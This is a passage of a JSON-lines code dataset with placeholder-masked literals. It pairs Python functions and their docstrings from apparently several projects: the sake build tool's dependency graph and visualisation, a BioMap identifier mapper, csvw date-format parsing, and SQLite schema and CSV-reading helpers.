match.group(<NUM_LIT:2>).startswith('<STR_LIT>'):<EOL><INDENT>sprint(match.group(<NUM_LIT:3>))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>error(\"<STR_LIT>\".format(filename))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return \"<STR_LIT:\\n>\".join(result), includes<EOL>", "docstring": "this gets called before the sakefile is parsed. it looks for\nmacros defined anywhere in the sakefile (the start of the line\nis '#!') and then replaces all occurences of '$variable' with the\nvalue defined in the macro. it then returns the contents of the\nfile with the macros expanded.", "id": "f14984:m7"}
{"signature": "def check_for_dep_in_outputs(dep, verbose, G):", "body": "if verbose:<EOL><INDENT>print(\"<STR_LIT>\".format(dep))<EOL><DEDENT>ret_list = []<EOL>for node in G.nodes(data=True):<EOL><INDENT>if \"<STR_LIT>\" not in node[<NUM_LIT:1>]:<EOL><INDENT>continue<EOL><DEDENT>for out in node[<NUM_LIT:1>]['<STR_LIT>']:<EOL><INDENT>if fnmatch.fnmatch(out, dep):<EOL><INDENT>ret_list.append(node[<NUM_LIT:0>])<EOL>break<EOL><DEDENT><DEDENT><DEDENT>return ret_list<EOL>", "docstring": "Function to help construct_graph() identify dependencies\n\nArgs:\n    A dependency\n    A flag indication verbosity\n    A (populated) NetworkX DiGraph\n\nReturns:\n    A list of targets that build given dependency", "id": "f14984:m8"}
{"signature": "def get_ties(G):", "body": "<EOL>ties = []<EOL>dep_dict = {}<EOL>for node in G.nodes(data=True):<EOL><INDENT>if '<STR_LIT>' in node[<NUM_LIT:1>]:<EOL><INDENT>for item in node[<NUM_LIT:1>]['<STR_LIT>']:<EOL><INDENT>if item not in dep_dict:<EOL><INDENT>dep_dict[item] = []<EOL><DEDENT>dep_dict[item].append(node[<NUM_LIT:0>])<EOL><DEDENT><DEDENT><DEDENT>for item in dep_dict:<EOL><INDENT>if len(list(set(dep_dict[item]))) > <NUM_LIT:1>:<EOL><INDENT>ties.append(list(set(dep_dict[item])))<EOL><DEDENT><DEDENT>return ties<EOL>", "docstring": "If you specify a target that shares a dependency with another target,\nboth targets need to be updated. This is because running one will resolve\nthe sha mismatch and sake will think that the other one doesn't have to\nrun. This is called a \"tie\". This function will find such ties.", "id": "f14984:m11"}
{"signature": "def get_tied_targets(original_targets, the_ties):", "body": "my_ties = []<EOL>for original_target in original_targets:<EOL><INDENT>for item in the_ties:<EOL><INDENT>if original_target in item:<EOL><INDENT>for thing in item:<EOL><INDENT>my_ties.append(thing)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>my_ties = list(set(my_ties))<EOL>if my_ties:<EOL><INDENT>ties_message = \"<STR_LIT>\"<EOL>ties_message += \"<STR_LIT>\"<EOL>for item in sorted(my_ties):<EOL><INDENT>ties_message += \"<STR_LIT>\".format(item)<EOL><DEDENT>return list(set(my_ties+original_targets)), ties_message<EOL><DEDENT>return original_targets, \"<STR_LIT>\"<EOL>", "docstring": "This function gets called when a target is specified to ensure\nthat all 'tied' targets also get included in the subgraph to\nbe built", "id": "f14984:m12"}
{"signature": "def construct_graph(sakefile, settings):", "body": "verbose = settings[\"<STR_LIT>\"]<EOL>sprint = settings[\"<STR_LIT>\"]<EOL>G = nx.DiGraph()<EOL>sprint(\"<STR_LIT>\", level=\"<STR_LIT>\")<EOL>for target in sakefile:<EOL><INDENT>if target == \"<STR_LIT:all>\":<EOL><INDENT>continue<EOL><DEDENT>if \"<STR_LIT>\" not in sakefile[target]:<EOL><INDENT>for atomtarget in sakefile[target]:<EOL><INDENT>if atomtarget == \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>sprint(\"<STR_LIT>\".format(atomtarget), level=\"<STR_LIT>\")<EOL>data_dict = sakefile[target][atomtarget]<EOL>data_dict[\"<STR_LIT>\"] = target<EOL>G.add_node(atomtarget, **data_dict)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sprint(\"<STR_LIT>\".format(target), level=\"<STR_LIT>\")<EOL>G.add_node(target, **sakefile[target])<EOL><DEDENT><DEDENT>sprint(\"<STR_LIT>\", level=\"<STR_LIT>\")<EOL>for node in G.nodes(data=True):<EOL><INDENT>sprint(\"<STR_LIT>\".format(node[<NUM_LIT:0>]),<EOL>level=\"<STR_LIT>\")<EOL>for k, v in node[<NUM_LIT:1>].items():<EOL><INDENT>if v is None: node[<NUM_LIT:1>][k] = []<EOL><DEDENT>if \"<STR_LIT>\" in node[<NUM_LIT:1>]:<EOL><INDENT>for index, out in enumerate(node[<NUM_LIT:1>]['<STR_LIT>']):<EOL><INDENT>node[<NUM_LIT:1>]['<STR_LIT>'][index] = clean_path(node[<NUM_LIT:1>]['<STR_LIT>'][index])<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" not in node[<NUM_LIT:1>]:<EOL><INDENT>continue<EOL><DEDENT>sprint(\"<STR_LIT>\", level=\"<STR_LIT>\")<EOL>connects = []<EOL>for index, dep in enumerate(node[<NUM_LIT:1>]['<STR_LIT>']):<EOL><INDENT>dep = os.path.normpath(dep)<EOL>shrt = \"<STR_LIT>\"<EOL>node[<NUM_LIT:1>]['<STR_LIT>'][index] = clean_path(node[<NUM_LIT:1>][shrt][index])<EOL><DEDENT><DEDENT>for node in G.nodes(data=True):<EOL><INDENT>connects = []<EOL>if \"<STR_LIT>\" not in node[<NUM_LIT:1>]:<EOL><INDENT>continue<EOL><DEDENT>for dep in node[<NUM_LIT:1>]['<STR_LIT>']:<EOL><INDENT>matches = check_for_dep_in_outputs(dep, verbose, G)<EOL>if not matches:<EOL><INDENT>continue<EOL><DEDENT>for match in matches:<EOL><INDENT>sprint(\"<STR_LIT>\".format(match), level=\"<STR_LIT>\")<EOL>connects.append(match)<EOL><DEDENT><DEDENT>if connects:<EOL><INDENT>for connect in connects:<EOL><INDENT>G.add_edge(connect, node[<NUM_LIT:0>])<EOL><DEDENT><DEDENT><DEDENT>return G<EOL>", "docstring": "Takes the sakefile dictionary and builds a NetworkX graph\n\nArgs:\n    A dictionary that is the parsed Sakefile (from sake.py)\n    The settings dictionary\n\nReturns:\n    A NetworkX graph", "id": "f14984:m13"}
{"signature": "def get_all_outputs(node_dict):", "body": "outlist = []<EOL>for item in node_dict['<STR_LIT>']:<EOL><INDENT>glist = glob.glob(item)<EOL>if glist:<EOL><INDENT>for oneglob in glist:<EOL><INDENT>outlist.append(oneglob)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>outlist.append(item)<EOL><DEDENT><DEDENT>return outlist<EOL>", "docstring": "This function takes a node dictionary and returns a list of\nthe node's output files. Some of the entries in the 'output'\nattribute may be globs, and without this function, sake won't\nknow how to handle that. This will unglob all globs and return\nthe true list of *all* outputs.", "id": "f14984:m14"}
{"signature": "def get_all_dependencies(node_dict):", "body": "deplist = []<EOL>for item in node_dict['<STR_LIT>']:<EOL><INDENT>glist = glob.glob(item)<EOL>if glist:<EOL><INDENT>for oneglob in glist:<EOL><INDENT>deplist.append(oneglob)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>deplist.append(item)<EOL><DEDENT><DEDENT>return deplist<EOL>", "docstring": "...............................", "id": "f14984:m15"}
{"signature": "def clean_all(G, settings):", "body": "quiet = settings[\"<STR_LIT>\"]<EOL>recon = settings[\"<STR_LIT>\"]<EOL>sprint = settings[\"<STR_LIT>\"]<EOL>error = settings[\"<STR_LIT:error>\"]<EOL>all_outputs = []<EOL>for node in G.nodes(data=True):<EOL><INDENT>if \"<STR_LIT>\" in node[<NUM_LIT:1>]:<EOL><INDENT>for item in get_all_outputs(node[<NUM_LIT:1>]):<EOL><INDENT>all_outputs.append(item)<EOL><DEDENT><DEDENT><DEDENT>all_outputs.append(\"<STR_LIT>\")<EOL>retcode = <NUM_LIT:0><EOL>for item in sorted(all_outputs):<EOL><INDENT>if os.path.isfile(item):<EOL><INDENT>if recon:<EOL><INDENT>sprint(\"<STR_LIT>\".format(item))<EOL>continue<EOL><DEDENT>sprint(\"<STR_LIT>\", level=\"<STR_LIT>\")<EOL>try:<EOL><INDENT>os.remove(item)<EOL>sprint(\"<STR_LIT>\", level=\"<STR_LIT>\")<EOL><DEDENT>except:<EOL><INDENT>errmes = \"<STR_LIT>\"<EOL>error(errmes.format(item))<EOL>retcode = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>if not retcode and not recon:<EOL><INDENT>sprint(\"<STR_LIT>\", color=True)<EOL><DEDENT>return retcode<EOL>", "docstring": "Removes all the output files from all targets. Takes\nthe graph as the only argument\n\nArgs:\n    The networkx graph object\n    The settings dictionary\n\nReturns:\n    0 if successful\n    1 if removing even one file failed", "id": "f14984:m16"}
{"signature": "def write_dot_file(G, filename):", "body": "with io.open(filename, \"<STR_LIT:w>\") as fh:<EOL><INDENT>fh.write(\"<STR_LIT>\")<EOL>edge_list = G.edges()<EOL>node_list = set(G.nodes())<EOL>if edge_list:<EOL><INDENT>for edge in sorted(edge_list):<EOL><INDENT>source, targ = edge<EOL>node_list = node_list - set(source)<EOL>node_list = node_list - set(targ)<EOL>line = '<STR_LIT>'<EOL>fh.write(line.format(source, targ))<EOL><DEDENT><DEDENT>if node_list:<EOL><INDENT>for node in sorted(node_list):<EOL><INDENT>line = '<STR_LIT>'.format(node)<EOL>fh.write(line)<EOL><DEDENT><DEDENT>fh.write(\"<STR_LIT:}>\")<EOL><DEDENT>", "docstring": "Writes the graph G in dot file format for graphviz visualization.\n\nArgs:\n    a Networkx graph\n    A filename to name the dot files", "id": "f14984:m17"}
{"signature": "def visualize(G, settings, filename=\"<STR_LIT>\", no_graphviz=False):", "body": "error = settings[\"<STR_LIT:error>\"]<EOL>if no_graphviz:<EOL><INDENT>write_dot_file(G, filename)<EOL>return <NUM_LIT:0><EOL><DEDENT>write_dot_file(G, \"<STR_LIT>\")<EOL>renderer = \"<STR_LIT>\"<EOL>if re.search(\"<STR_LIT>\", filename, re.IGNORECASE):<EOL><INDENT>renderer = \"<STR_LIT>\"<EOL><DEDENT>elif re.search(\"<STR_LIT>\", filename, re.IGNORECASE):<EOL><INDENT>renderer = \"<STR_LIT>\"<EOL><DEDENT>elif re.search(\"<STR_LIT>\", filename, re.IGNORECASE):<EOL><INDENT>renderer = \"<STR_LIT>\"<EOL><DEDENT>elif re.search(\"<STR_LIT>\", filename, re.IGNORECASE):<EOL><INDENT>renderer = \"<STR_LIT>\"<EOL><DEDENT>elif re.search(\"<STR_LIT>\", filename, re.IGNORECASE):<EOL><INDENT>renderer = \"<STR_LIT>\"<EOL><DEDENT>elif re.search(\"<STR_LIT>\", filename, re.IGNORECASE):<EOL><INDENT>renderer = \"<STR_LIT>\"<EOL><DEDENT>elif re.search(\"<STR_LIT>\", filename, re.IGNORECASE):<EOL><INDENT>renderer = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>renderer = \"<STR_LIT>\"<EOL>filename += \"<STR_LIT>\"<EOL><DEDENT>command = \"<STR_LIT>\".format(renderer, filename)<EOL>p = Popen(command, shell=True)<EOL>p.communicate()<EOL>if p.returncode:<EOL><INDENT>errmes = \"<STR_LIT>\"<EOL>os.remove(\"<STR_LIT>\")<EOL>error(errmes)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>os.remove(\"<STR_LIT>\")<EOL>return <NUM_LIT:0><EOL>", "docstring": "Uses networkX to draw a graphviz dot file either (a) calls the\ngraphviz command \"dot\" to turn it into a SVG and remove the\ndotfile (default), or (b) if no_graphviz is True, just output\nthe graphviz dot file\n\nArgs:\n    a NetworkX DiGraph\n    the settings dictionary\n    a filename (a default is provided\n    a flag indicating whether graphviz should *not* be called\n\nReturns:\n    0 if everything worked\n    will cause fatal error on failure", "id": "f14984:m18"}
{"signature": "@classmethod<EOL><INDENT>def validate(cls, definition):<DEDENT>", "body": "schema_path = os.path.join(os.path.dirname(__file__),<EOL>'<STR_LIT>')<EOL>with open(schema_path, '<STR_LIT:r>') as jsonfp:<EOL><INDENT>schema = json.load(jsonfp)<EOL><DEDENT>jsonschema.validate(definition, schema)<EOL>assert definition['<STR_LIT>'] in definition['<STR_LIT>'],'<STR_LIT>'<EOL>assert set(definition.get('<STR_LIT>', [])) <= set(definition['<STR_LIT>']),'<STR_LIT>'<EOL>assert set(definition.get('<STR_LIT>', [])) <= set(definition.get('<STR_LIT>', [])),'<STR_LIT>'<EOL>assert set(definition.get('<STR_LIT>', {}).values()) <= set(definition['<STR_LIT>']),'<STR_LIT>'<EOL>", "docstring": "This static method validates a BioMapMapper definition.\nIt returns None on success and throws an exception otherwise.", "id": "f14985:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def validate_data(cls, data):<DEDENT>", "body": "pass<EOL>", "docstring": "Validates data with respect to the data definition.", "id": "f14985:c0:m3"}
{"signature": "@property<EOL><INDENT>def supported_keys(self):<DEDENT>", "body": "return self['<STR_LIT>']<EOL>", "docstring": "Returns a list with all keys which are supported by the mapper.", "id": "f14985:c0:m4"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return self['<STR_LIT:name>']<EOL>", "docstring": "Returns the name of the mapper.", "id": "f14985:c0:m5"}
{"signature": "@property<EOL><INDENT>def mapper_data(self):<DEDENT>", "body": "return self['<STR_LIT>']<EOL>", "docstring": "Returns the name of the data associated with the mapper.", "id": "f14985:c0:m6"}
{"signature": "@property<EOL><INDENT>def main_key(self):<DEDENT>", "body": "return self['<STR_LIT>']<EOL>", "docstring": "Returns the main key of the mapper.", "id": "f14985:c0:m7"}
{"signature": "@property<EOL><INDENT>def miriam_mapping(self):<DEDENT>", "body": "return self.get('<STR_LIT>', {})<EOL>", "docstring": "Returns a mapping from supported keys to official\nMiriam namespace ids (as a dictionary).", "id": "f14985:c0:m8"}
{"signature": "@property<EOL><INDENT>def scalar_nonunique_keys(self):<DEDENT>", "body": "return self.get('<STR_LIT>', [])<EOL>", "docstring": "Returns a list of supported keys whose values\nare scalar and possibly non-unique across data\nentries.", "id": "f14985:c0:m9"}
{"signature": "@property<EOL><INDENT>def compound_valued_keys(self):<DEDENT>", "body": "return self.get('<STR_LIT>', [])<EOL>", "docstring": "Returns a list of supported keys whose values are\nfrom some kind of (usually more complex) data structure\n(a nested dictionary for example), ie whose values\nare not strings for arrays of strings. Compound-valued\nkeys can not be used to map FROM.", "id": "f14985:c0:m10"}
{"signature": "@property<EOL><INDENT>def key_synonyms(self):<DEDENT>", "body": "return self.get('<STR_LIT>', {})<EOL>", "docstring": "Returns a list of key synonyms (as a dictionary).", "id": "f14985:c0:m11"}
{"signature": "@property<EOL><INDENT>def disjoint(self):<DEDENT>", "body": "return self.get('<STR_LIT>', [])<EOL>", "docstring": "Returns all list-values keys for which it is assured\nthat for any two values of that key the set of the\nentries of that value are disjoint (do not have an\nelement in common).", "id": "f14985:c0:m12"}
{"signature": "@property<EOL><INDENT>def list_valued_keys(self):<DEDENT>", "body": "return self.get('<STR_LIT>', [])<EOL>", "docstring": "Returns a list of supported keys whose values are\nlist of strings.", "id": "f14985:c0:m13"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return self._name<EOL>", "docstring": "Returns the name of the mapper.", "id": "f14985:c1:m1"}
{"signature": "@property<EOL><INDENT>def definition(self):<DEDENT>", "body": "return self._definition<EOL>", "docstring": "Returns the definition of the mapper.", "id": "f14985:c1:m2"}
{"signature": "@property<EOL><INDENT>def data(self):<DEDENT>", "body": "return self.db.get_mapper_data(self.name)<EOL>", "docstring": "Return the entirety of the data as a list.", "id": "f14985:c1:m3"}
{"signature": "@property<EOL><INDENT>def miriam_namespaces(self):<DEDENT>", "body": "return [namespace for namespace in self.definition.miriam_mapping]<EOL>", "docstring": "Returns a list of the supported MIRIAM namespaces.", "id": "f14985:c1:m4"}
{"signature": "def __call__(self, ID_s, FROM=None, TO=None):", "body": "return self.map(ID_s, FROM, TO)<EOL>", "docstring": "A simpler interface to Mapper.map which makes the mapper callable.", "id": "f14985:c1:m5"}
{"signature": "def map(self, ID_s,<EOL>FROM=None,<EOL>TO=None,<EOL>target_as_set=False,<EOL>no_match_sub=None):", "body": "def io_mode(ID_s):<EOL><INDENT>'''<STR_LIT>'''<EOL>unlist_return = False<EOL>list_of_lists = False<EOL>if isinstance(ID_s, str):<EOL><INDENT>ID_s = [ID_s]<EOL>unlist_return = True<EOL><DEDENT>elif isinstance(ID_s, list):<EOL><INDENT>if len(ID_s) > <NUM_LIT:0> and isinstance(ID_s[<NUM_LIT:0>], list):<EOL><INDENT>list_of_lists = True<EOL><DEDENT><DEDENT>return ID_s, unlist_return, list_of_lists<EOL><DEDENT>if FROM == TO:<EOL><INDENT>return ID_s<EOL><DEDENT>ID_s, unlist_return, list_of_lists = io_mode(ID_s)<EOL>if list_of_lists:<EOL><INDENT>mapped_ids = [self.map(ID, FROM, TO, target_as_set, no_match_sub) for ID in ID_s]<EOL><DEDENT>else:<EOL><INDENT>mapped_ids = self._map(ID_s, FROM, TO, target_as_set, no_match_sub)<EOL><DEDENT>if unlist_return:<EOL><INDENT>return mapped_ids[<NUM_LIT:0>]<EOL><DEDENT>return Mapping(ID_s, mapped_ids)<EOL>", "docstring": "The main method of this class and the essence of the package.\nIt allows to \"map\" stuff.\n\nArgs:\n\n    ID_s: Nested lists with strings as leafs (plain strings also possible)\n    FROM (str): Origin key for the mapping (default: main key)\n    TO (str): Destination key for the mapping (default: main key)\n    target_as_set (bool): Whether to summarize the output as a set (removes duplicates)\n    no_match_sub: Object representing the status of an ID not being able to be matched\n                  (default: None)\n\nReturns:\n\n    Mapping: a mapping object capturing the result of the mapping request", "id": "f14985:c1:m6"}
{"signature": "def get_all(self, key=None):", "body": "key = self.definition.main_key if key is None else key<EOL>key = self.definition.key_synonyms.get(key, key)<EOL>entries = self._get_all(key)<EOL>if key in self.definition.scalar_nonunique_keys:<EOL><INDENT>return set(entries)<EOL><DEDENT>return entries<EOL>", "docstring": "Returns all data entries for a particular key. Default is the main key.\n\nArgs:\n\n    key (str): key whose values to return (default: main key)\n\nReturns:\n\n    List of all data entries for the key", "id": "f14985:c1:m13"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def _get_all(self, key):<DEDENT>", "body": "pass<EOL>", "docstring": "Backend-specific implementation of Mapper.get_all.", "id": "f14985:c1:m14"}
{"signature": "def dt_format_and_regex(fmt, no_date=False):", "body": "if fmt is None:<EOL><INDENT>return {'<STR_LIT>': None, '<STR_LIT>': None, '<STR_LIT>': None}<EOL><DEDENT>tz_marker = None<EOL>match = re.search('<STR_LIT>', fmt)<EOL>if match:<EOL><INDENT>tz_marker = match.group('<STR_LIT>')<EOL>if len(set(tz_marker.strip())) != <NUM_LIT:1>:  <EOL><INDENT>raise ValueError(fmt)<EOL><DEDENT>fmt = fmt[:match.start()]<EOL><DEDENT>date_patterns = {<EOL>\"<STR_LIT>\",  <EOL>\"<STR_LIT>\",  <EOL>\"<STR_LIT>\",  <EOL>\"<STR_LIT>\",  <EOL>\"<STR_LIT>\",  <EOL>\"<STR_LIT>\",  <EOL>\"<STR_LIT>\",  <EOL>\"<STR_LIT>\",  <EOL>\"<STR_LIT>\",  <EOL>\"<STR_LIT>\",  <EOL>\"<STR_LIT>\",  <EOL>\"<STR_LIT>\",  <EOL>\"<STR_LIT>\",  <EOL>\"<STR_LIT>\",  <EOL>}<EOL>time_patterns = {\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"}<EOL>translate = {<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT:M>': ('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT:d>': ('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>'),<EOL>}<EOL>for dt_sep in '<STR_LIT>':  <EOL><INDENT>if dt_sep in fmt:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>dt_sep = None<EOL><DEDENT>if dt_sep:<EOL><INDENT>dfmt, tfmt = fmt.split(dt_sep)<EOL><DEDENT>elif no_date:<EOL><INDENT>dfmt, tfmt = None, fmt<EOL><DEDENT>else:<EOL><INDENT>dfmt, tfmt = fmt, None<EOL><DEDENT>msecs = None  <EOL>if tfmt and '<STR_LIT:.>' in tfmt:  <EOL><INDENT>tfmt, msecs = tfmt.split('<STR_LIT:.>')  <EOL>if set(msecs) != {'<STR_LIT:S>'}:  <EOL><INDENT>raise ValueError(fmt)<EOL><DEDENT>msecs = len(msecs)   <EOL><DEDENT>if (dfmt and dfmt not in date_patterns) or (tfmt and tfmt not in time_patterns):<EOL><INDENT>raise ValueError(fmt)<EOL><DEDENT>regex, format = '<STR_LIT>', '<STR_LIT>'  <EOL>if dfmt:<EOL><INDENT>for d_sep in '<STR_LIT>':  <EOL><INDENT>if d_sep in dfmt:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')  <EOL><DEDENT>for i, part in enumerate(dfmt.split(d_sep)):<EOL><INDENT>if i > <NUM_LIT:0>:<EOL><INDENT>format += d_sep<EOL>regex += re.escape(d_sep)<EOL><DEDENT>f, r = translate[part]<EOL>format += f<EOL>regex += r<EOL><DEDENT><DEDENT>if dt_sep:<EOL><INDENT>format += dt_sep<EOL>regex += re.escape(dt_sep)<EOL><DEDENT>if tfmt:<EOL><INDENT>for i, part in enumerate(tfmt.split('<STR_LIT::>')):<EOL><INDENT>if i > <NUM_LIT:0>:<EOL><INDENT>format += '<STR_LIT::>'<EOL>regex += re.escape('<STR_LIT::>')<EOL><DEDENT>f, r = translate[part]<EOL>format += f<EOL>regex += r<EOL><DEDENT><DEDENT>if msecs:<EOL><INDENT>format += '<STR_LIT>' % msecs<EOL>regex += '<STR_LIT>' % msecs<EOL><DEDENT>return {'<STR_LIT>': re.compile(regex), '<STR_LIT>': format, '<STR_LIT>': tz_marker}<EOL>", "docstring": ".. seealso:: http://w3c.github.io/csvw/syntax/#formats-for-dates-and-times", "id": "f14999:m1"}
{"signature": "def schema(tg):", "body": "tables = {}<EOL>for tname, table in tg.tabledict.items():<EOL><INDENT>t = TableSpec.from_table_metadata(table)<EOL>tables[t.name] = t<EOL>for at in t.many_to_many.values():<EOL><INDENT>tables[at.name] = at<EOL><DEDENT><DEDENT>ordered = OrderedDict()<EOL>i = <NUM_LIT:0><EOL>while tables and i < <NUM_LIT:100>:<EOL><INDENT>i += <NUM_LIT:1><EOL>for table in list(tables.keys()):<EOL><INDENT>if all((ref[<NUM_LIT:1>] in ordered) or ref[<NUM_LIT:1>] == table for ref in tables[table].foreign_keys):<EOL><INDENT>ordered[table] = tables.pop(table)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if tables:  <EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return list(ordered.values())<EOL>", "docstring": "Convert the table and column descriptions of a `TableGroup` into specifications for the\nDB schema.\n\n:param ds:\n:return: A pair (tables, reference_tables).", "id": "f15001:m4"}
{"signature": "def check(self, translate):", "body": "if not self.csvw:<EOL><INDENT>return<EOL><DEDENT>c, cname = self.csvw, translate(self.name)<EOL>constraints = []<EOL>if (c.minimum is not None) or (c.maximum is not None):<EOL><INDENT>func = {<EOL>'<STR_LIT:date>': '<STR_LIT:date>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}.get(self.csvw_type)<EOL>if c.minimum is not None:<EOL><INDENT>if func:<EOL><INDENT>constraints.append(\"<STR_LIT>\".format(cname, c.minimum, func))<EOL><DEDENT>else:<EOL><INDENT>constraints.append('<STR_LIT>'.format(cname, c.minimum))<EOL><DEDENT><DEDENT>if c.maximum is not None:<EOL><INDENT>if func:<EOL><INDENT>constraints.append(\"<STR_LIT>\".format(cname, c.maximum, func))<EOL><DEDENT>else:<EOL><INDENT>constraints.append('<STR_LIT>'.format(cname, c.maximum))<EOL><DEDENT><DEDENT><DEDENT>elif any(cc is not None for cc in [c.length, c.minLength, c.maxLength]):<EOL><INDENT>if c.length:<EOL><INDENT>constraints.append('<STR_LIT>'.format(cname, c.length))<EOL><DEDENT>if c.minLength:<EOL><INDENT>constraints.append('<STR_LIT>'.format(cname, c.minLength))<EOL><DEDENT>if c.maxLength:<EOL><INDENT>constraints.append('<STR_LIT>'.format(cname, c.maxLength))<EOL><DEDENT><DEDENT>return '<STR_LIT>'.join(constraints)<EOL>", "docstring": "We try to convert as many data constraints as possible into SQLite CHECK constraints.\n\n:param translate:\n:return:", "id": "f15001:c0:m1"}
{"signature": "def sql(self, translate):", "body": "col_translate = partial(translate, self.name)<EOL>clauses = [col.sql(col_translate) for col in self.columns]<EOL>if self.primary_key:<EOL><INDENT>clauses.append('<STR_LIT>'.format(quoted(<EOL>*[col_translate(c) for c in self.primary_key])))<EOL><DEDENT>for fk, ref, refcols in self.foreign_keys:<EOL><INDENT>clauses.append('<STR_LIT>'.format(<EOL>quoted(*[col_translate(c) for c in fk]),<EOL>quoted(translate(ref)),<EOL>quoted(*[translate(ref, c) for c in refcols])))<EOL><DEDENT>return \"<STR_LIT>\".format(<EOL>translate(self.name), '<STR_LIT>'.join(clauses))<EOL>", "docstring": ":param translate:\n:return: The SQL statement to create the table.", "id": "f15001:c1:m2"}
{"signature": "@staticmethod<EOL><INDENT>def name_translator(table, column=None):<DEDENT>", "body": "<EOL>return column or table<EOL>", "docstring": "A callable with this signature can be passed into DB creation to control the names\nof the schema objects.\n\n:param table: Name of the table before translation\n:param column: Name of a column of `table` before translation\n:return: Translated table name if `column is None` else translated column name", "id": "f15001:c2:m3"}
{"signature": "def association_table_context(self, table, column, fkey):", "body": "<EOL>return fkey, column<EOL>", "docstring": "Context for association tables is created calling this method.\n\n:param table:\n:param column:\n:param fkey:\n:return: a pair (foreign key, context)", "id": "f15001:c2:m7"}
{"signature": "def write(self, _force=False, _exists_ok=False, **items):", "body": "if self.fname and self.fname.exists():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>with self.connection() as db:<EOL><INDENT>for table in self.tables:<EOL><INDENT>db.execute(table.sql(translate=self.translate))<EOL><DEDENT>db.execute('<STR_LIT>')<EOL>db.commit()<EOL>refs = defaultdict(list)  <EOL>for t in self.tables:<EOL><INDENT>if t.name not in items:<EOL><INDENT>continue<EOL><DEDENT>rows, keys = [], []<EOL>cols = {c.name: c for c in t.columns}<EOL>for i, row in enumerate(items[t.name]):<EOL><INDENT>pk = row[t.primary_key[<NUM_LIT:0>]]if t.primary_key and len(t.primary_key) == <NUM_LIT:1> else None<EOL>values = []<EOL>for k, v in row.items():<EOL><INDENT>if k in t.many_to_many:<EOL><INDENT>assert pk<EOL>at = t.many_to_many[k]<EOL>atkey = tuple([at.name] + [c.name for c in at.columns])<EOL>for vv in v:<EOL><INDENT>fkey, context = self.association_table_context(t, k, vv)<EOL>refs[atkey].append((pk, fkey, context))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>col = cols[k]<EOL>if isinstance(v, list):<EOL><INDENT>v = (col.separator or '<STR_LIT:;>').join(<EOL>col.convert(vv) for vv in v)<EOL><DEDENT>else:<EOL><INDENT>v = col.convert(v) if v is not None else None<EOL><DEDENT>if i == <NUM_LIT:0>:<EOL><INDENT>keys.append(col.name)<EOL><DEDENT>values.append(v)<EOL><DEDENT><DEDENT>rows.append(tuple(values))<EOL><DEDENT>insert(db, self.translate, t.name, keys, *rows)<EOL><DEDENT>for atkey, rows in refs.items():<EOL><INDENT>insert(db, self.translate, atkey[<NUM_LIT:0>], atkey[<NUM_LIT:1>:], *rows)<EOL><DEDENT>db.commit()<EOL><DEDENT>", "docstring": "Creates a db file with the core schema.\n\n:param force: If `True` an existing db file will be overwritten.", "id": "f15001:c2:m9"}
{"signature": "def iterrows(lines_or_file, namedtuples=False, dicts=False, encoding='<STR_LIT:utf-8>', **kw):", "body": "if namedtuples and dicts:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>elif namedtuples:<EOL><INDENT>_reader = NamedTupleReader<EOL><DEDENT>elif dicts:<EOL><INDENT>_reader = UnicodeDictReader<EOL><DEDENT>else:<EOL><INDENT>_reader = UnicodeReader<EOL><DEDENT>with _reader(lines_or_file, encoding=encoding, **fix_kw(kw)) as r:<EOL><INDENT>for item in r:<EOL><INDENT>yield item<EOL><DEDENT><DEDENT>", "docstring": "Convenience factory function for csv reader.\n\n    :param lines_or_file: Content to be read. Either a file handle, a file path or a list\\\n    of strings.\n    :param namedtuples: Yield namedtuples.\n    :param dicts: Yield dicts.\n    :param encoding: Encoding of the content.\n    :param kw: Keyword parameters are passed through to csv.reader.\n    :return: A generator over the rows.", "id": "f15002:m1"}
